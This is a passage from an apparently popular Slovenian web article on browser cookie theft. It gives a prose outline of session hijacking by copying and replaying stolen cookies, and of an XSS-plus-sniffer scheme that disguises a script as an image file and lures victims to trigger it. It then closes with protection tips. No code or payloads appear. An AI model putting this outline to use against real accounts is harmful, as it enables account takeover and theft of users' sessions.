  • Piškotki se kopirajo, shranijo v datoteko in nato prenesejo na bliskovni pogon.
  • Na drugem računalniku se piškotki zamenjajo v novi seji.
  • Dostop do računa žrtve je omogočen.
  • Hekerji praviloma uporabljajo zgornja orodja (+ druga) tako v kombinaciji (ker je stopnja zaščite na številnih spletnih virih precej visoka) kot ločeno (ko so uporabniki pretirano naivni).

    XSS + vohanje
  • Ustvari se skript XSS, ki poda naslov spletnega vohljača (bodisi domačega ali posebne storitve).
  • Zlonamerna koda je shranjena s končnico .img (format slike).
  • Ta datoteka se nato naloži na spletno stran, klepet ali osebno sporočilo – kjer bo napad izveden.
  • Uporabnikovo pozornost pritegne ustvarjena »past« (tu začne veljati socialni inženiring).
  • Če se past sproži, sniffer prestreže piškotke iz brskalnika žrtve.
  • Napadalec odpre dnevnike vohljača in pridobi ukradene piškotke.
  • Nato izvede zamenjavo, da pridobi pravice lastnika računa z uporabo zgornjih orodij.
  • Zaščita piškotkov pred vdori
  • Uporabite šifrirano povezavo (z uporabo ustreznih protokolov in varnostnih metod).
  • Ne odgovarjajte na dvomljive povezave, slike ali mamljive ponudbe, da bi se seznanili z »novo brezplačno programsko opremo«. Še posebej od tujcev.
  • Uporabljajte le zaupanja vredne spletne vire.
  • Pooblaščeno sejo zaključite s klikom na gumb »Odjava« (ne samo z zapiranjem zavihka!). Še posebej, če ste se v svoj račun prijavili ne iz osebnega računalnika, ampak na primer iz računalnika v internetni kavarni.
  • Ne uporabljajte funkcije brskalnika »Shrani geslo«. Shranjeni registracijski podatki znatno povečajo tveganje kraje. Ne bodite leni, ne izgubljajte nekaj minut časa z vnosom gesla in prijavo na začetku vsake seje.
  • Po brskanju po spletu – obisku družbenih omrežij, forumov, klepetov, spletnih strani – izbrišite shranjene piškotke in počistite predpomnilnik brskalnika.
  • Redno posodabljajte brskalnike in protivirusno programsko opremo.
  • Uporabite razširitve brskalnika, ki ščitijo pred napadi XSS (na primer NoScript za FF in Google Chrome).
  • Občasno na računih.
  • In kar je najpomembneje, ne izgubite pozornosti in pozornosti med sproščanjem ali delom na internetu!